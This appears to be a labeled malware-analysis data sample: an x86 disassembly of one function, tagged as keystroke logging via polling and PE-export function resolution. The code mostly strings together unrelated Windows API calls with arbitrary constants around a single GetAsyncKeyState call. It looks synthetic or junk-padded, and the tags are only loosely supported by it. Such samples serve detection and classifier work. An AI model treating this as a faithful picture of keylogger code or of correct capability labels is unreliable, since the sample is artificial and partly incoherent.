Function at 0x10001338
Capabilities:
Log keystrokes via polling
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xe8
mov eax, dword [sym.imp.USER32.dll_CreateMenu]
call eax
mov ecx, esp
mov dword [ecx], 9
mov ecx, dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov dword [esp + 0xbc], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx + 0x20], 0xfea
mov dword [ecx + 0x1c], 0x7fc
mov dword [ecx + 0x18], 0x337
mov dword [ecx + 0x14], 0xf47
mov dword [ecx + 0x10], 0x497
mov dword [ecx + 0xc], 0x666
mov dword [ecx + 8], 0xfea
mov dword [ecx + 4], 0x7b7
mov dword [ecx], 0x4383bf
mov ecx, dword [sym.imp.GDI32.dll_ArcTo]
mov word [esp + 0xba], ax
call ecx
sub esp, 0x24
mov ecx, esp
mov dword [ecx], 0x983332
mov ecx, dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [esp + 0xb4], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx], 0x672
mov ecx, dword [sym.imp.USER32.dll_GetKeyboardType]
mov dword [esp + 0xb0], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx], 0x3c9ad6
mov ecx, dword [sym.imp.USER32.dll_GetTopWindow]
mov dword [esp + 0xac], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx], 0xe2110f
mov ecx, dword [sym.imp.USER32.dll_PaintDesktop]
mov dword [esp + 0xa8], eax
call ecx
sub esp, 4
mov ecx, esp
lea edx, [esp + 0xd0]
mov dword [ecx], edx
mov ecx, dword [sym.imp.USER32.dll_SetRectEmpty]
mov dword [esp + 0xa4], eax
call ecx
sub esp, 4
xor ecx, ecx
mov dword [esp + 0xa0], eax
mov dword [esp + 0x9c], ecx
jmp 0x100014a8
mov eax, esp
mov dword [eax], 0xf5a250
mov eax, dword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
call eax
sub esp, 4
mov ecx, dword [esp + 0x98]
add ecx, 1
cmp ecx, 0x12
mov dword [esp + 0x94], eax
mov dword [esp + 0x9c], ecx
je 0x1000174c
jmp 0x100014a8
mov eax, esp
mov dword [eax], 0xd41
mov eax, dword [sym.imp.USER32.dll_ShowCursor]
call eax
sub esp, 4
mov dword [esp + 0x90], eax
jmp 0x100015a3
mov eax, dword [esp + 0x9c]
mov ecx, esp
mov dword [ecx + 4], 0xd53
mov dword [ecx], 0x9dcb93
mov ecx, dword [sym.imp.USER32.dll_IsDlgButtonChecked]
mov dword [esp + 0x98], eax
call ecx
sub esp, 8
mov ecx, esp
lea edx, [esp + 0xe0]
mov dword [ecx + 4], edx
mov dword [ecx], 0x64228f
mov ecx, dword [sym.imp.GDI32.dll_GetCurrentPositionEx]
mov dword [esp + 0x8c], eax
call ecx
sub esp, 8
mov ecx, esp
lea edx, [esp + 0xc0]
mov dword [ecx + 4], edx
mov dword [ecx + 0xc], 0xa87
mov dword [ecx + 8], 0xe12
mov dword [ecx], 0xe15f71
mov ecx, dword [sym.imp.USER32.dll_DrawEdge]
mov dword [esp + 0x88], eax
call ecx
sub esp, 0x10
mov ecx, dword [sym.imp.USER32.dll_EmptyClipboard]
mov dword [esp + 0x84], eax
call ecx
xor ecx, ecx
mov dword [esp + 0x80], eax
mov dword [esp + 0x7c], ecx
mov eax, dword [esp + 0x7c]
mov ecx, 0x38e38e39
mov dword [esp + 0x78], eax
mul ecx
shr edx, 2
imul eax, edx, 0x12
mov ecx, dword [esp + 0x78]
sub ecx, eax
mov eax, ecx
sub eax, 0xa
mov dword [esp + 0x74], ecx
mov dword [esp + 0x70], eax
je 0x1000148a
jmp 0x10001572
mov eax, dword [esp + 0x74]
sub eax, 4
mov dword [esp + 0x6c], eax
jne 0x100015a3
jmp 0x10001581
mov eax, esp
mov dword [eax + 4], 0x58
mov dword [eax], 0x58
mov eax, dword [sym.imp.SHLWAPI.dll_ChrCmpIW]
call eax
sub esp, 8
mov dword [esp + 0x68], eax
jmp 0x1000148a
mov eax, dword [esp + 0x78]
add eax, 1
cmp eax, 0x177
mov dword [esp + 0x7c], eax
jne 0x10001542
xor eax, eax
mov ecx, esp
mov dword [ecx + 0xc], 0xdd3
mov dword [ecx + 8], 0xc51
mov dword [ecx + 4], 0x6b
mov dword [ecx], 0x63675a
mov ecx, dword [sym.imp.GDI32.dll_SetPixelV]
mov dword [esp + 0x64], eax
call ecx
sub esp, 0x10
xor ecx, ecx
mov edx, dword [esp + 0x98]
sub edx, 6
mov dword [esp + 0x60], eax
mov dword [esp + 0x5c], ecx
mov dword [esp + 0x58], edx
je 0x1000171d
jmp 0x10001605
mov eax, dword [esp + 0x98]
sub eax, 0x1e
mov ecx, dword [esp + 0x5c]
mov dword [esp + 0x54], eax
mov dword [esp + 0x50], ecx
jne 0x1000167d
jmp 0x1000161f
mov eax, esp
mov dword [eax + 0xc], 0x1e6
mov dword [eax + 8], 0xecd
mov dword [eax + 4], 0x488
mov dword [eax], 0x1e6
mov eax, dword [sym.imp.GDI32.dll_CreateRectRgn]
call eax
sub esp, 0x10
mov ecx, esp
mov dword [ecx], 0xdc5c1c
mov ecx, dword [sym.imp.SHLWAPI.dll_SHCreateShellPalette]
mov dword [esp + 0x4c], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx], 0x54ef7e
mov ecx, dword [sym.imp.GDI32.dll_WidenPath]
mov dword [esp + 0x48], eax
call ecx
sub esp, 4
mov dword [esp + 0x44], eax
jmp 0x1000171d
mov eax, dword [esp + 0x50]
add eax, 1
mov ecx, esp
mov dword [ecx], 0x246
mov ecx, dword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
mov dword [esp + 0x40], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx], 0x978738
mov ecx, dword [sym.imp.GDI32.dll_GetBkMode]
mov dword [esp + 0x3c], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx], 0xc9bc5b
mov ecx, dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov dword [esp + 0x38], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx + 4], 0x8c6
mov dword [ecx], 0x10f
mov ecx, dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
mov dword [esp + 0x34], eax
call ecx
sub esp, 8
mov ecx, esp
mov dword [ecx], 0xb32932
mov ecx, dword [sym.imp.USER32.dll_OpenIcon]
mov dword [esp + 0x30], eax
call ecx
sub esp, 4
mov ecx, dword [esp + 0x40]
cmp ecx, 0xa
mov dword [esp + 0x2c], eax
mov dword [esp + 0x50], ecx
je 0x1000144f
jmp 0x1000167d
mov eax, esp
mov dword [eax], 0xf5a250
mov eax, dword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
call eax
sub esp, 4
mov ecx, dword [esp + 0x98]
add ecx, 1
mov dword [esp + 0x28], eax
mov dword [esp + 0x9c], ecx
jmp 0x100014a8
mov esp, ebp
pop ebp
ret